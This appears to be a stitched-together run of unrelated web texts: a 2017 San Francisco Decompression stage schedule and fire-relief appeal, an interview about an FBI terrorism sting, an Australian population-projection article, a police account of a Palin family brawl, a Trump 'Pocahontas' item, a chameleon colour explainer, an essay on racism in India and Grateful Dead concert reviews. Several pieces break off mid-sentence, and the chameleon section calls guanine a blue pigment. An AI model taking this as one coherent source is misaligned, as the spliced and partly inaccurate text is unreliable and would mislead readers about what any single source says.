9:40 Firelight Society
9:45 Surreal Fire Conclave
10:00 Fire Performance
10:00-10:15 House of Inanna Belly Dance
10:20-10:25 The Playa Players – The Rite of Spring
10:30-12:00 Dave Kim
12:00-1:30 Willie SaySo
1:35-2:20 The Long Way
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Opulent Kazbah Stage
2:00-3:00 Elz
3:00-4:00 Clint Williams
4:00-5:00 Acid Boyz
5:00-6:15 Mitch Rubiyald
6:15-7:15 Sophia Prize
7:15-8:05 Halloran
8:05-9:00 Grammar
9:00-10:00 Dusty Carter
10:00-11:00 Varona
11:00-12:00 Syd Gris
12:00-1:00 Ali Khalili
1:00-2:00 Brian Peek
2:00-3:00 Papa Lu
3:00-4:00 DJ Scott E
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People’s Cabaret Stage
2:00-3:15 No Rush
3:20-4:20 Steve Ward Moore
4:25-5:25 DJ Danimal
5:30-6:30 Circuit Jerks
6:35-7:55 Dr. Hypno and the Power of Sound
8:00-9:00 Gooferman
9:05-10:35 Trapeze
10:40-11:20 The Mule
11:25-12:25 DJ TURBOLIFT
12:30-1:30 Press Players
1:35-2:35 OOPUS
2:40-3:50 NOVA
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BAAAHS
2-3:30 Amber Leigh (MagnusFlora)
3:30-5 Trever Pearson (Comfort & Joy)
5-6:30 David VVayman (BAAAHS)
6:30-8 Beya / Benjamin Bellayuto (Polyglamorous)
8-9:30 Collin Bass (Dad Rave)
9:30-11 Michael Romano (Otterbots)
11-12:30 Traaven / Tom Seago (Glamcocks)
12:30-2 Kelly Naughton (BAAAHS / D.A.D.)
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Bounce & Dusty Rhino
2:00-3:00 Daniel Boyer (Bounce)
3:00-4:00 DJ Dane (Dusty Rhino)
4:00-5:00 Dancing Mandy (Bounce)
5:00-6:00 DJ MK ((Dusty Rhino)
6:00-7:00 Mystr Hatchet (Dusty Rhino)
7:00-8:00 PhilthyPhil (Dancetronauts)
8:00-9:00 Checkers
9:00-10:00 Mr Bounceman (Bounce)
10:00-11:00 Nugz (Dusty Rhino)
11:00-12:00 Tek Freaks (Bounce)
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Silent Roller Disco (Channel 1)
2:00-3:00 DJPZ
3:00-4:00 LymphNode
4:00-5:00 Meraki
5:00-6:00 Cypher Fox
6:00-7:00 Budzak
7:00-8:00 Travis Creamer
8:00-9:00 Sudakra
9:00-10:00 Mhytee
10:00-11:00 Uncanney
11:00-12:00 Computerbeats
12:00-1:00 Numerous
1:00-2:00 Corrine (of Bitch Plz)
2:00-3:00 GPK Felixx
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Silent Roller Disco (Channel 3)
2:00-4:00 Leyl Master Black
4:00-5:30 DJ MOTOROLA
5:30-7:00 Anycha
7:00-8:30 Jason Godfrey
8:30-10:00 Funkhauser
10:00-11:00 Somnia
11:00-12:00 Sychosis
12:00-1:00 Victor Crulich
1:00-2:00 Vacation
2:00-3:00 Yama
3:00-4:00 Itzcally
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Silent Airpusher (Channel 1)
7:00-8:00 Jae
8:00-9:00 DJ Due
9:00-10:00 Black Velveteen
10:00-11:00 Deadbeatz
11:00-12:00 Yodav
12:00-3:00 Cptn Jay, J-KIND, & Jon Bames
3:00-4:00 Edmundo
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Silent Airpusher (Channel 2)
7:00-8:00 Craft
8:00-9:00 Ronin
9:00-11:00 Glitter Ranch Butt Darts Society
11:00-12:00 Liquid Love
12:00-1:00 NYCTEA
1:00-2:00 DJ Axel Holmes
2:00-3:00 Maurice & Jill (Planned Playahood)
3:00-4:00 STRGD
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Silent Airpusher (Channel 3)
7:00-8:00 DJ Bimes
8:00-9:00 DJ Taylor Wolfsen
9:00-10:00 OVIID
10:00-11:00 DJ Rundown
11:00-12:00 Hologram
12:00-1:00 Player 1
1:00-2:00 Wolverine
2:00-3:00 DJ Cheese
3:00-4:00 UdoU
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Kindred Spirit / Fuckin’ YAY
2:00-3:20 Babs (Fuckin’ YAY)
3:20-4:40 Jacie (Fuckin’ YAY)
4:40-6:00 Lucho (Fuckin’ YAY)
6:00-7:00 Burnings without Borders
7:00-9:00 Manitou (Kindred Spirit)
9:00-10:00 Leopard Print (Kindred Spirit)
10:00-1:00 CWills (Kindred Spirit)
1:00-4:00 Dodley (Kindred Spirit)
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From the Decompression team:
It’s scary in Northern California right now. The fires raging in the North Bay have caused heartbreaking damage to the homes and livelihoods of thousands of people, including many in our community, and the ash and smoke have blown all the way to the Bay Area. It’s hard to imagine holding Decompression here during all this — but we are. It’s important.
We have to come together in times like these. Being in community breeds resiliency far better than staying home. And as always, when there are urgent community needs during a Burning Man event, groups of participants have organized relief efforts at Decompression:
* Skinny Kitty Teahouse is collecting clothing (shirts, pants, socks, shoes, new underwear) for adults and children, canned food, blankets, pillows and toys.
* The Kazbah is collecting socks, boxers, tote bags, potatoes, onions, blankets, sleeping bags and pillows.
* Burners Without Borders is holding a tool donation drive at Decompression. Details here: http://bit.ly/2wUkO0d
(If you are interested in finding out more about how to volunteer and get involved, visit BWB at the event.)
Please bring only items detailed here, and make sure they’re in good condition, or they may not be accepted.
Yes, you might be planning to skip Decom and go volunteer up north. If that’s what you’re called to do, please go, and please be safe. For those who will be in the Bay this weekend, SF Decompression will be here for you — and for the victims of the North Bay fires. Let’s come together and remember why we say “Welcome home.”
For your health and safety, check the air quality on Saturday and bring breathing masks for yourself and a few to share. Radical Self-reliance, Civic Responsibility and Gifting matter even more right now.
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DECOMPRESSION 2017 Featuring…
Art & Fire Art!
Beatboxer, Body Paint, Booth of Booths, Burning Man 3D Lenticular Prints, Carousel Candeo, CBT The Lucy Booth Project, Chinese Beyond Borders, Cirque d’Reflections, Conversations I Wish I Had, Daruma, Dia de los Muertos Piano, Deities of Yesteryear, Fire Inside Art, Galactus, Galerie d’Art Cher, Geotriptych, Glowwind Sculptures, Goddess / Third Eye Painting, Gummy Bear Pyramid, In the Line of Fire, Infinite Bloom, Kinetic MerKaBa Vehicle, Laboratory of Hallucinations, Le Attrata, LED Couches, Mezmerize, Mobile Resource Unit (BWB), Mystic Flyer LED Panels, Reverence, Shrine of Dough, SearchLights + Rainbow Gyro, Shrunken Heads, The Birthing Canal, The Bridge and The Cage, The Hypnosphere, The Luster Cluster, The Mumblewaze, The Sacred Order of the Cats Eye Nebula, The ZOA, Watercolors of BM2017, Gallery of Burning Man Art, and MORE!
Theme Camps & More!
Above the Limit, And Then There’s Only Love, Black Rock Beacon, Black Rock Explorers, Black Rock Observatory, Black Rock Rangers, BRC3PO, Burners Without Borders, Burning Man DPW, Camp Beaverton, Camp Orange Banana Stand, CLITS-Cover Logos If They Show, Discovery, DPW/ DPW Karaoke, Eggs Bar, Everywhere, Flowtopia, The Golden Guy, Hardly, Hookahdome, Kidsville, The Love and Meditation Dome, Mad Max Model Extravaganza, Naked Espresso, Pancake Playhouse, Playa Info, PlayaTerps, Porta Party Pizza, Sextant Camp Tesla Coils, Shantitown Pizza Training, Sketchy Camp, Skinny Kitty Tea House, The Everywhere Pavilion, SK8 Kamp, Sun Guardians: Sun G’s Teas, Unicorner, Volunteer Resource Team, Yummy RUMinations
Sound Camps & Vehicles!
Airpusher, Black Rock Roller Disco, BMIR-FM, DPW Karaoke, Dusty Rhino, Fuckin’ Yay Camp, Kindred Spirit, MagnusFlora, Opulent Temple, queerFACES, The Bounce Car, The Kazbah, Zero dB
Mutant Vehicles!
Bahamut, Dawnstar Space Bus, Kissy Fish and Mello Mtneers, Hermie the Crab, Landau the Dragon, Nasha Lodka, Quesadillo, Sofamatic, Space Kr |
American casino, take hostages and then finally when police would arrive detonate an explosive vest.
Like all of these sting operations that the FBI runs, everything was provided by the FBI. All of the weapons, all of the logistical planning was provided by the FBI.
What’s interesting about my story is that it leverages these sealed and basically secret transcripts of overheard transcripts. Amir Jones would go back to the field office in Tampa with his recording equipment on and that recording equipment captured seemingly accidentally the private conversations among the FBI agents as they were working the sting. And what’s so revelatory about these transcripts is that it shows that groups like Human Rights Watch that have criticized these sting operations for targeting mentally ill and economically desperate people, the FBI seems to agree with that assessment. Behind closed doors, the FBI agent was calling Sami Osmakac a retarded fool who didn’t have a pot to piss in. They said his plans were wishy-washy and basically made clear that were it not for the FBI making everything possible Sami himself was not much of a danger.
Even more concerning, I think, is that that central piece of evidence that was used against Sami at trial was the fact that he had provided $500 to the undercover agent as a down payment for weapons. And these transcripts show that was a problem for the FBI. That Sami was so broke and didn’t have any money or any capacity to really make much money. That they had to orchestrate a pretty elaborate scheme through which they gave money to the FBI informant Dabus, who gave a job to Sami for doing little to no work and then Dabus paid Sami $500, which Sami then used to purchase these weapons. So, basically, through these transcripts, we’re able to see very clearly that Sami was using government-provided money to purchase government-provided weapons in a conspiracy that was portrayed by the government as if this was a truly dangerous terrorist or lone wolf terrorist, who on his own would have struck and would have done terrible damage to property and loss of life in the Tampa Bay area.
GOSZTOLA: So, as you’re saying and as you describe in great detail in your feature, there are two informants. What are the back stories and even potentially criminal backgrounds you could talk about with Amir Jones and then Dabus?
AARONSON: Amir Jones was the undercover FBI agent, as far as we know. That’s how the FBI has identified him. It’s not unusual for the FBI to have agents like Amir, who move from case to case. And so, Amir Jones’ name was never revealed and to this day I don’t know what it is. He went by the pseudonym Amir Jones. I suspect he is one of the FBI operators, who moves from case to case, state to state. So, it’s probably unlikely that he is in Tampa any longer. They bring in someone like Amir Jones when they need someone to play the terrorist role for the FBI as an agent.
But Amir Jones was introduced to Sami through Abdul Dabus, and Dabus is a pretty interesting guy because he was well-known in the Tampa Muslim community, was a business owner and also was friendly with Sami Al-Arian, who you’re listeners may remember was the University of South Florida professor who was prosecuted under the PATRIOT Act and battled prosecutors for a decade before just this year agreeing to a deal where he accepted deportation to Turkey. Abdul Dabus actually testified in Sami al-Arian’s trial in 2003 and, in fact, was a damaging witness for the government’s case against Sami al-Arian. Somehow between al-Arian’s case and Sami Osmakac’s sting operation, Abdul Dabus became an informant for the FBI.
Dabus claims that this was the only time he worked for the FBI. One of the court records, an FBI affidavit, describes Abdul Dabus as having provided reliable information in the past certainly suggesting that he was an ongoing informant for the FBI. Although, Dabus, as I said in my interview, disputed that.
Dabus was paid $20,000 for his role in the plot. That’s not unusual. Informants can actually make much more in these types of operations. There are cases where informants have made $100,000 or more for working these types of stings, but Dabus was paid $20,000 for about three to four months of work off and on. While he says he wasn’t motivated by the money, as I noted in my story, there was certainly evidence to suggest he was in really rough financial straits when he came in contact with Sami Osmakac. Dabus’ home was facing foreclosure proceedings. His business was also under foreclosure. He owed $800,000 on that note, and, according to civil filings, he had debts all around town.
So, it’s clear just from the record that this was a man who was in pretty rough financial shape and so the idea that he wasn’t at all incentivized by money—It could be true but also the public record suggests that seems unlikely. Dabus then is paid by the FBI and then is taking orders from an FBI agent named Jacob Collins. And Jacob Collins is the one who instructs Dabus to introduce him to the undercover agent Amir Jones but also more importantly is the one instructing Dabus to pay Sami Osmakac money so that in turn Sami Osmakac can give the money to Amir Jones for these weapons, allowing prosecutors to announce the public and show to a jury, hey, this guy was really serious. He gave $500 for these weapons. But, as these transcripts show, that capacity was made possible only because the FBI had orchestrated it.
And I say that very deliberately because orchestrated was their term for this process, where they would orchestrate the money going to Dabus and then Sami Osmakac so he could purchase these weapons.
GOSZTOLA: I think most people know about the most major high-profile case of going after economically desperate people, like the Newburgh Sting. But another aspect I wanted to see if you could shed some light on is it seems in going through your story that Sami fits one of these characteristics, where he’s paranoid about the United States government, where he has these beliefs and views about the US government. And, maybe somewhat similar to the recent case of Christopher Cornell in Ohio, this is something FBI agents are taking advantage of in the process of orchestrating this sting.
AARONSON: Right, it’s not unusual in these sting operations for the targets of the sting operation to either have diagnosed mental illness or to exhibit behavior that certainly suggests they were having mental problems. In fact, Sami Osmakac isn’t the only person targeted in a sting operation who was diagnosed with schizoaffective disorder. There was a case out in Seattle, Washington, involving a man named Walid Mujahidh, who also had schizoaffective disorder. So, as a result of the trawling of Muslim communities that the FBI is doing in the name of counterterrorism, the targeting of more than 15,000 informants in these communities, they’re looking for people, who want to get involved in some kind of violence. And they’re not finding truly capable people. They’re finding people who are willing to mouth off at the mosque and these tend to be mentally ill.
At the same time, it’s worth noting—and this is where we get into various shades of gray and what makes telling these stories difficult—is that someone like Sami Osmakac isn’t an angel. He’s not the type of guy you’d want to have around your children, the type you’d want to invite to dinner. He says things that are really horrible. He says things that are odious. He says things that just seem to justify violence against innocent people. And so, this is someone who has a lot of problems and he’s not an angel but at the same time he is not capable of committing an act of terror the way that he is portrayed to the public and to juries.
That is to say that Sami Osmakac, like the dozens of other people that have been caught in these terrorism sting operations, doesn’t have any weapons. He’d have a kitchen knife certainly, but he doesn’t have any guns, any bombs. He doesn’t have any money. Even if he had money, he doesn’t know anyone he could purchase these weapons from. Most importantly, he doesn’t have any connections to any international terrorist groups. So, while the FBI is really, really good at finding these types of would-be terrorists, the types that don’t have connections, that don’t have capacity, the track record of the FBI finding the ones that do have capacity and do have connections—Faisal Shahzad, who tried to bomb Times Square in 2010 or even more recently, the Boston Marathon bombers, these were the type of people who were not identified through these really aggressive sting operations.
More commonly, and I think this is the strongest criticism you can make of these types of sting operations, is that while they are missing the truly dangerous threats, like the Faisal Shahzads or the Boston Marathon bombings, they are instead finding these easily manipulated, mentally ill and economically desperate people who are easy to move along in a sting operation. I think the truth is that the truly dangerous ones, the Shahzads and the Tamerlan Tsarnaevs, are not the likely ones to be caught in these sting operations. To put it bluntly, they’re just not that stupid.
So the ones we’re finding in these sting operations are the ones who are kind of awful in a way. They are awful people. They say terrible things, but they are not terrorists. And, certainly, saying terrible things is not a crime and it’s only a crime if you commit an act of terrorism based on those ideas. It’s only the FBI through these stings that are making it possible for people like that to turn their very misguided and hateful ideas into some sort of act of terrorism.
GOSZTOLA: Now, I want to ask you about the fact that we’re having this conversation because there was somebody who was willing to provide this to material confidentially, to you or The Intercept, in order for this to become public, and the fact that the government did not want any of this material to be available for anyone in the public to read. So, if you could, just address the secrecy issue around this material in the case.
AARONSON: Right, so this was a sealed transcript that was placed under a protective order. These transcripts were then provided to me by a source after the trial. What’s significant is that a federal magistrate judge and later a district judge would not allow the jury to hear about these transcripts. The government argued that the release of these transcripts would damage their investigative strategy and law enforcement techniques.
And, in fact, after the trial, US District Judge Mary Scriven agreed to release a part of the transcripts but gave the government the ability to redact anything it felt would damage law enforcement strategy and investigative techniques. And so, if you go into the court file today, what you will find are some of the transcripts that we released but those transcripts are heavily redacted. What we’ve released are the full transcripts to our knowledge and with the only redactions being the initial ones, which the FBI always redacts, which have to do with the model and make of recording equipment which for some reason is really sensitive to the FBI.
What I think is significant is really twofold. I mean, one, these transcripts reveal the extent to which the FBI went after Sami Osmakac knowing that he wasn’t dangerous and the FBI’s willingness to essentially manufacture a plot so detailed that they had to provide the actual money that Sami Osmakac needed. They even had to give him taxi cab money so he could get to where they needed to go. They talk about him as if they know he is not in any way dangerous. They know calling someone a retarded fools certainly suggests you don’t think he is going to do anything significantly dangerous or significantly sophisticated.
At the same time, I think the larger question, which I don’t raise in my story, and I hope that maybe a conversation will come out in response to it, is what in these transcripts is so secret and so revelatory for the US government that it needs to shield them under claims that these transcripts would damage investigative techniques and strategy. The only investigative techniques and strategy these transcripts seem to show is that they took a man, who on his own had no capacity, someone that they knew had mental problems, someone they also knew had no connections to international terrorist groups, and through conversation after conversation orchestrated scenarios using a paid informant and an undercover agent that allowed them to portray Sami Osmakac as having $500, having the ability and willingness to go forward in a sting operation.
There was no sensitive information in the transcripts related to sources being exposed or put in danger. There was no kind of proprietary information about how they’re using intelligence in creative ways that you could maybe make an argument the government can’t have this released. My finding in reading this is more than anything these transcripts are an embarrassment to the US government and they did not want that released and so they claimed investigative techniques and strategy. And something that this very uncommon in these cases, a federal judge was willing to go with them on that and say, sure, we’ll seal that and place this under a protective order. She did and were it not for a confidential source providing this information to me this information likely would not have ever gotten out.
Listen to the full interview here.Gengigel – fast, effective relief for receding gums and mouth ulcers
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[productalsobuy]Analysis of each ABS release by AFR Weekend highlights the shift. In 2003 the statistician’s central case implied there would be 26.4 million residents by 2050. In 2006 this was jacked up to 28.1 million. Two years later it increased again to 34 million. Now our best guess is that there will be 38 million folks here within the lifetime of a 50-year-old.
For years this writer criticised the ABS’s projections for being too conservative. In a speech to the Housing Industry Association Summit in July I posited that the nation faced a “population planning crisis" that could precede an equally serious housing and infrastructure catastrophe.
Recutting the ABS’s data I suggested we should prepare to have 36.8 million people here by 2050. This turned out to be more than 1 million persons short based on calculations unveiled by the ABS this week.
The HIA’s chief economist, Harley Dale, says the updated projections represent a “massive shift". “It is now clear that the ABS has been materially underestimating real population growth rates for some time."
AFR AFR
Harley says the problem is these “very important figures are the benchmark used by government agencies and industry to make long-term planning and investment decisions".
The evolution in the ABS’s central case has meant we have shifted from a 2003 vision that involved Australia’s population shrinking in the second half of the 21st century to one where it will be more than double its present size by the end of it. In 2003 we were told there would be just 26.4 million Australians in 2101. Fast forward a decade and the ABS now thinks that number is 100 per cent larger at 53.6 million persons.
The 2003 picture of population atrophy prompted the introduction of the government’s “baby bonus" and a short-lived debate about the risks of an inadequate replacement rate.
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The new Liberal Party member, Malcolm Turnbull, repeatedly touched on the consequences of the secular fall in fertility rates, which had occurred since the 1970s.
“Within the lifetimes of most of us... the world we know today will be transformed," Turnbull said in his maiden speech.
“Societies such as those in Italy, Spain, Greece, Russia and many others in Europe with birth rates of 1.3 or lower are not ageing – they are dying."
Turnbull wondered whether it could be “true that at the peak of our technology and prosperity the western world is losing the confidence to reproduce itself". “Are we witnessing the beginning of the dying of the West?"
“Unless fertility rates dramatically improve," Turnbull cautioned, “societies with birth rates substantially below replacement level will either dwindle into an insignificant fraction of their current numbers or be swamped by larger and larger waves of immigration."
Following the baby bonus Australia’s total fertility rate surged from 1.7 children per mother to two children in 2009. It remains at an elevated 1.9 children today, which is the most significant reversal in fecundity since data started in 1975.
A second even more influential turbo-charger of Australia’s contemporary population boom has been immigration.
Soaring demand for skilled labour fuelled by the mining investment expansion, coupled with Australia’s station as a favoured destination for those aspiring to better educations, has resulted in a flood of arrivals. Over the last 30 years annual net overseas migration has averaged 128,000 people. Yet since 2006 net overseas migration has been running at 224,000 persons, 80 per cent above trend. It has made 1.3 times the contribution of fertility and longevity to population growth. The 316,000 person peak in 2008 was more than an order of magnitude higher than its 1993 nadir.
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The racial insecurities that feature in our population and boat-people controversies are surprising given that one-quarter of all Australians were born overseas. Almost half of us have a parent from another country.
UBS economist George Tharenou points out that immigration affords several dividends. At 27 years the typical migrant is a decade younger – and more productive – than the median person. They also yield higher reproductive rates.
Migrants therefore enhance the vitality, virility and longevity of the pool of labour supply, and through a higher tax take and stronger population and economic growth, help mitigate the financial drag ageing populations place on public budgets through rising health and pension costs.
“Australia’s demographic outlook is much better than previously expected" Tharenou says.
“It is also vastly superior to developed world competitors." He notes “by 2045 Australia will have the lowest ratio of retirees to workers of any major economy".
In 2009 the Treasury’s Intergenerational Report extended a dramatic increase in the ABS’s 2008 projections to an even loftier forecast of 35 million persons by 2050. I argued at the time that these numbers will still be skinny on the basis of a conservative net overseas migration assumption of 180,000 persons. The ABS’s 2013 estimates have now revised this variable up to a base-case of 240,000 persons, which is a key driver of the 38 million number.
After the Intergenerational Report, then prime minister Kevin Rudd admitted that he “believes in a big Australia". “I make no apology for that" he said. “I actually think it’s good news that our population is growing."
Rudd constructively argued that Australia could contrast its demographic fate “with many countries in Europe where it’s actually heading in the other direction".
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“I think it’s good for us," he said. “It’s good for national security in the long term and it’s good in terms of what we can sustain as a nation."
A nascent debate was, however, cauterised by Rudd’s successor, Julia Gillard, who in 2010, declared she “did not believe in a big Australia".
“Kevin Rudd [said] that he had a view about a big Australia – I’m indicating a different approach," Gillard told a television network. Gillard, who was born in Wales and emigrated to Australia as a five-year-old, subsequently led an attack on the nation’s immigration intake, which declined to less than 185,000 persons during the first 1.5 years of her reign.
In March this year Gillard told a union conference that “we want more Australian workers to fill the skilled jobs our economy creates." She claimed “it’s just not acceptable information technology jobs... should be such a big area for imported skills."
Gillard told the ABC the government wanted to crack down on alleged rorts in the temporary skilled visa program to “stop foreign workers being put at the front of the queue with Australian workers at the back". Nobody in the bureaucracy would support her stance.
A senior member of the department of immigration’s ministerial advisory council on skilled migration, professor Peter McDonald, told the ABC that the racial implications of Ms Gillard’s remarks were “nasty stuff" and “undermined the system".
A decade worth of misses in our population projections mean that policymakers have likely been working towards the wrong future. We appear ill-prepared to cope with the prospect of 8 million people living in each of Sydney and Melbourne.
Long-time financial market economist, CommSec’s Craig James, says the upgraded ABS projections are a “game changer". Asked why the ABS has got it so wrong, James responds that the “answer to almost every economic question lies in China".
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He believes population pressures are already having profound effects on Australia’s urban environment. “Who would have thought 10 years ago that we would be building more apartments than free-standing homes today," James asks.
He thinks the revised estimates necessitate a “fundamental reassessment of all of our key resource requirements, including our social and economic infrastructure."
James says this warrants a “community discussion to determine whether we are comfortable as a nation with the path we are on". But he worries that the debate remains missing in action. Politicians run for the hills when presented with an opportunity to contribute to what is a divisive topic.
“At the end of the day somebody has to take a stand and drive this agenda," James says. “A newspaper would be a good place to start."Track Palin, the former Alaska governor’s eldest son, was ‘angry and intoxicated’ and ultimately ‘took off his shirt to fight’
Anchorage authorities announced on Thursday that they do not plan to press charges over a drunken street-brawl involving the family of former Alaska governor Sarah Palin.
The police also released a detailed report about the fracas, which occurred at a party at the house of Korey Klingenmeyer, on 6 September. Officers responded to a dispatch at “about 2244 hours” to a disturbance in which “about 20 people were involved.”
When Officers Justin Blake and John Daily arrived, Palin’s eldest son Track – who had blood around his mouth and on his hands, appeared to have an injury under his left eye and on his upper cheek, and wasn’t wearing a shirt – was being walked towards a long white limousine by several people, two of whom were Sarah Palin and her husband Todd.
Palin’s 23-year-old daughter Bristol, on whom Officer Blake said he “smelled the odor of alcohol”, was there as well.
From his statement, Track Palin – whom Officer Daily had a hard time getting to calm down because he was “angry and intoxicated” – the family were out celebrating Todd Palin’s birthday, and then decided to go on to another party at Korey Klingenmeyer’s house.
Track was “heavily intoxicated,” and at first acted belligerently toward police, but Sarah Palin told him to talk to Officer Daily.
Track told Daily that while they were at that party, some guys were “talking rudely” to his sisters, “making them cry,” and they decided to leave. He said that as they were on the way out a friend, Steven, was “sucker-punched” from behind. It was at this point, Track told Daily, that he “took off his shirt to fight.”
Brian Horschel, who was also at the party, told Daily that he had spoken to numerous people and had a good idea what had happened. According to Horschel, Track started a fight, and “got beat up.”
Klingenmeyer, at whose house all this happened, and who appeared to Daily to be only “moderately intoxicated,” told the officer that he was angry the Palins had shown up and were causing problems.
In what appears to be a separate altercation a few minutes later, Bristol Palin approached Klingenmeyer saying that she was going to “beat that girl’s ass.” Klingenmeyer – who the report describes as six feet tall and weighing 215 pounds – told Bristol that he “wasn’t going to have any of that here,” and that she should go home. Klingenmeyer told Daily that Bristol responded“who the fuck are you?” and added she would “kick his ass.”
“Korey told her to go ahead and punch him,” Horschel, who saw the event, told Daily, “and she punched him in the face.”
“Korey told her to hit him again on the other side of his face and she did so a few times before Korey finally stopped her. He said that he then sat her on her ass and told her to leave,” Daily wrote.
Klingenmeyer said that after the sixth punch, he grabbed Bristol’s fist, and pushed her away, and that was when she fell over. Three other witnesses corroborated Klingenmeyer’s account; a fourth, Matthew McKenna, described Bristol as “out of control.”
McKenna said that after that, he “went to Bristol, picked her up, and brought her from the yard to the street and put her down.” He said that at that point both Todd and Sarah Palin were there asking what had happened. He told them to leave, according to his statement to another responding officer, Ruth Adolf, but “nobody listened and yet another fight started.”
Bristol, whom Daily described as “heavily intoxicated and upset,” at first denied knowing who Klingenmeyer was, and then said that Klingenmeyer had “drug [sic] her across the lawn by her legs and was calling her a cunt and a slut.”
Daily reported that Bristol said she “didn’t know what else happened and didn’t have a clue whether she hit him or not.” In a separate interview, Bristol told Blake that Klingenmeyer “called her a ‘slut’ over and over,” that “someone then pulled her around on the grass by her feet,” and that someone stole her shoes and sunglasses.
Adolf spoke to Bristol’s sister Willow, who said that Klingenmeyer had assaulted Bristol, and that “an older lady pushed her.” She also said that “people were saying things like ‘fuck the Palins.’”
Adolf then went back to the house, but reported that Todd Palin came back to the driveway and confronted Klingenmeyer, “asking if he called his daughter a ‘bitch.’”
“Willow Palin also walked up and also got involved,” Adolf wrote, “flipping Korey off and getting loud.”
“We eventually separated everyone and the Palin family ended up leaving.”Donald Trump regrets calling Massachusetts Sen. Elizabeth Warren “Pocahontas” — because he says it is an insult to Pocahontas.
The Pocahontas nickname refers to Warren claiming she is of Native American descent, despite the connection being distant and hard to prove.
“I do regret calling her Pocahontas because I think it’s a tremendous insult to Pocahontas,” Trump told Bill O’Reilly on Monday night. “So, to Pocahontas, I would like to apologize to you.”
Also Read: JK Rowling Takes Aim at 'Fascist' Donald Trump: 'God Help Us All'
Earlier this month, Trump said he wanted Warren to be Hillary Clinton’s running mate during a Twitter rant, calling her “Pocahontas” and “goofy.”
“Pocahontas is at it again! Goofy Elizabeth Warren, one of the least productive U.S. Senators, has a nasty mouth. Hope she is V.P. choice,” the presumptive GOP nominee tweeted.
Last month, Trump said of Warren, “I think she’s as Native America as I am… she’s a woman that’s been very ineffective other than she’s got a big mouth.”
See Video: Trevor Noah Thinks Donald Trump Is 'One Deranged F--' for Orlando Comments
During his interview with O’Reilly, Trump once again slammed the senator.
“She’s been a very poor senator… she’s been a lousy senator, she’s done a terrible job,” he said.It's nature's example of Joseph and his Technicolour Dream Coat, the chameleon. They're just phenomenal. There is this myth that chameleons change colour to blend in with their surroundings, but this is actually not true.
Most of the reason chameleons change colour is as a signal, a visual signal of mood and aggression, territory and mating behaviour.
The way that chameleons actually do this is molecular - they're molecular masterminds, really.
If you look at the skin of a chameleon, you find that they have several layers of specialised cells called chromatophores and these are cells that can change colour.
On the outer surface of the chameleon, the skin is transparent and just below that is the first layer of these cells, and they contain pigments. These cells are called xanthophores, containing particular specialised pigments that have a yellow colour.
Beneath that are pigment cells which are called erythrophores, which have a red colour in them.
Beneath them is another layer of cells called iridiphores, which have a blue coloured pigment called guanine; this is actually also used in making DNA.
Underneath all of those is another layer of cells called melanophores, which have a brown pigment - melanin - in them.
Now, how does the chameleon change colour? Well the chromatophores are wired up to the nervous system. They are also sensitive to chemicals that are washing around in the blood stream of the chameleon.
What happens is that the colours are locked away in tiny vesicles, little sacs inside the cells that keep them in one place, so the cells don't look coloured.
But, when a signal comes in from the nervous system or from the blood stream, the granules or vesicles can discharge, allowing the colour to spread out across the cell, and this alters the colour of the cell. It's rather like giving the cell a coat of paint.
By varying the relative amount of activity of the different chromatophores in different layers of the skin, it's like mixing different paints together. So if you mix red and yellow, you get orange for example, and this is how chameleons do this. They mix different contributions of these chromatophores.
It's a bit like on your television screen. When you mix different colours together on the screen to get the colour that the eye ultimately perceives and so, that's how the chameleon changes colour, and usually does so to convey mood.
So a calm chameleon is a pale greeny colour. When it gets angry, it might go bright yellow, and when it wants to mate, it basically turns on every possible colour it can which shows that it's in the mood. This is not unique to chameleons.
Other animals also have these chromatophores. Cuttlefish are another very elegant example of how this works.
For chameleons though, it's not so much to do with camouflage, it's more to do with communication...Like German efficiency and British wit, Indian hospitality has earned an international reputation. Foreigners return home from Indian holidays with tales of their hosts’ unmatched kindness. Everyone was so nice; they didn’t mind that their guests couldn’t speak a word of any Indian language; and they even made sure the food wasn’t too spicy.
Western bloggers positively swoon. “I was amazed by the smiles I’ve seen in India, which taught me a huge lesson on human interaction, family and community,” writes one. “The respect and desire to be of service was also remarkable and the greetings and farewells of, ‘Namaste,’ so sincere,” reports another.
I’ve lived in Delhi for about a year and a half, and my own experience has hardly been different. In everything, the standards set for me are comically low. Speak three consecutive words of Hindi, and people act like I’m a wizard; eat the same food as everyone else, and suddenly I’m a paragon of epicurean adventurousness. I needn’t ride with Justin Bieber in his tour Rolls Royce to feel the glow of celebrity; I can just stand in front of India Gate for a minute or two, and some eager stranger is sure to ask if he can take his picture with me.
Yep, for foreigners, India is pretty great. Well, for foreigners like me, anyway. That is to say, white foreigners.
Black foreigners coming home from India might tell different stories about Indian hospitality. Imran Uba, upon returning to Nigeria from his studies in Noida, will likely tell his family and friends about how an angry mob, convinced that African students had actually eaten an Indian classmate, beat him so badly he had to be hospitalized. Maxwell Orji, another Nigerian student, |
." The driver in our group (Anton's girlfriend) scored a ticket for a hug, and was allowed to pick another "deserving soul" to receive the next freebie.
Such kindness and serene personality I had never witnessed. I'm sure my 16 year old memory is faded, but I also remember him teaching us how to be careful with our first boomers experience.
The show was mind-blowing. I also remember an old couple swaying arm in arm singin' every word of Terrapin....of course fireworks too. I hopped in the bus and never fell off! I'm grateful for the "turn-on" and wonder what ever happened to those guys? I'm in NYC.....
If Alex or Justin read this....e-mail me at Gdtrfb75@
A. Rogers This was my first show. My buddy Alex and this bro Anton took me, complete with Leopold! I was in for a life changing event. The sold out First outdoor stadium show in Chi-town...(been to Soldier field 9 x's and never saw the Bears play). the most memorable part was witnessing the "Miracle-Man."He was an old head with a purple-hand-woven South America vest on, with a DC-show-Lincoln-skull-head-steal your face shirt. He was giving away tickets "For a hug." The driver in our group (Anton's girlfriend) scored a ticket for a hug, and was allowed to pick another "deserving soul" to receive the next freebie.Such kindness and serene personality I had never witnessed. I'm sure my 16 year old memory is faded, but I also remember him teaching us how to be careful with our first boomers experience.The show was mind-blowing. I also remember an old couple swaying arm in arm singin' every word of Terrapin....of course fireworks too. I hopped in the bus and never fell off! I'm grateful for the "turn-on" and wonder what ever happened to those guys? I'm in NYC.....If Alex or Justin read this....e-mail me at Gdtrfb75@ yahoo.com A. Rogers - November 13, 2007KOTESKY?
Reviewer: Mooding - - October 17, 2007
Subject: What ever happened to the lovely woman I met from Ontario? If only I knew. Post here if you read this. We spent much of the 2nd set dancing with one another. I went on to the Kansas shows, you went back to Canada. - October 17, 2007What ever happened to the lovely woman I met from Ontario?
Reviewer: Rishi Shah - favorite favorite favorite favorite favorite - August 19, 2007
Subject: 1600 miles for the Shakedown We had just finished our junior year of high school and we knew they were going to play Shakedown Street. And they did, and then some.
